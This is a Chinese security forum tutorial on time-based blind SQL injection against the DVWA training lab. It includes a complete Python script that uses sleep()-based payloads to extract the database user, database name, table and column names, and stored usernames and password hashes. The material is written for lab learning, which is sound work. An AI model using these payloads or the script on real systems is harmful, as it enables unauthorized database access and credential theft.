安全矩阵

 找回密码
 立即注册
搜索
查看: 2320|回复: 0

SQL Injection (Blind) time盲注入

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2021-4-10 22:18:37 | 显示全部楼层 |阅读模式
原文链接:SQL Injection (Blind) time盲注入


python3编写EXP系列


SQL Injection (Blind) time盲注入

1 简介
DVWA靶场这个是最基础的靶场如果想学习EXP编写这个靶场最好不过,如果能把这个靶场的利用的EXP用python3编写出来这样算是合格的exp入门选手了。
https://github.com/digininja/DVWA
这个系列的第五篇内容这里会学习到如何通过时间注入,获取账号和密码。

盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。


2 原理
盲注的方法分布有布尔型注入 time注入昨天详细说明了布尔型注入的经过,今天讲的是time注入,也就是时间差注入,或者又叫延时注入,是利用sql语句达到延时的目的,在mysql中用的sleep()函数,select sleep(3) 数据库延时3秒返回信息。利用这个函数加上if函数进行判断,就可以达到延时注入,最后得出要查询的数据。


将dvwa等级设置low的时候访问http://www.dvwa.com/vulnerabilit ... &Submit=Submit#

将延时语句输入可以看到时间是大于10的而且不用理会页面是否返回不同信息。
只要有延时,就能采用延时注入的方法,注入查询内容。

3 编写exp思路
payload ="./@_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
首先要查询内容的长度,再遍历长度每一个字符 与 payload的字符每个进行匹配如果匹配 成功 页面延时5秒返回页面例如 要查询 selectif(length(database())=12,sleep(5),0); 如果查询的数据库长度等于12延时五秒 得到长度 再查询内容
select if(substring(database(),1,1)='w',sleep(5),0);
如果正确延时五秒返回页面。如此类推 一直到最后一个。



编写代码
  1. #coding:utf-8
  2. import requests
  3. import time
  4. url="http://www.dvwa.com/vulnerabilities/sqli_blind/?id=1"
  5. cookies = {"PHPSESSID":"db226n2bulhv02k6ajou1i8e87","security":"low"}
  6. user="user()"
  7. dbname="database()"
  8. tables="(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database())"
  9. columns="(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x7573657273)"
  10. userpass="(select concat(user,0x3a,password) from users limit 1)"
  11. times="sleep()"

  12. def getlen(sql):
  13.     n=1
  14.     while True:
  15.         start_time =time.time()
  16.         req = requests.get(url=url + "'and if(length({})={},sleep(5),0)-- &Submit=Submit#".format(sql,n), cookies=cookies)
  17.         space_time = time.time()-start_time
  18.         if space_time>=5:
  19.             break
  20.         n=n+1
  21.     return n

  22. def getdata(sql):
  23.     payloads = "./@_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
  24.     getstr = ''
  25.     for i in range(1,getlen(sql)+1):
  26.         for p in payloads:
  27.             start_time = time.time()
  28.             turl = url + "'and if(ascii(substring({},{},1))={},sleep(5),0)-- &Submit=Submit#".format(sql,i,ord(p))
  29.             req=requests.get(url=turl,cookies=cookies)
  30.             space_time = time.time() - start_time
  31.             print("[+] 正在执行 {} -- {} [+]".format(i,p))
  32.             if space_time >= 5:
  33.                 getstr+=p
  34.                 print("[*]正在获取数据 [*] "+getstr)
  35.                 break
  36.     return getstr

  37. print("[*] 当前用户 [*] "+getdata(user))
  38. print("[*] 当前库 [*] "+getdata(dbname))
  39. print("[*] 库的所有表 [*] "+getdata(tables))
  40. print("[*] user表的字段 [*] "+getdata(columns))
  41. print("[*] 账号和密码 [*] "+getdata(userpass))
复制代码

运行如图


4 关注
本公众号不定期更新文章和视频 欢迎前来关注















回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 00:50 , Processed in 0.012318 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表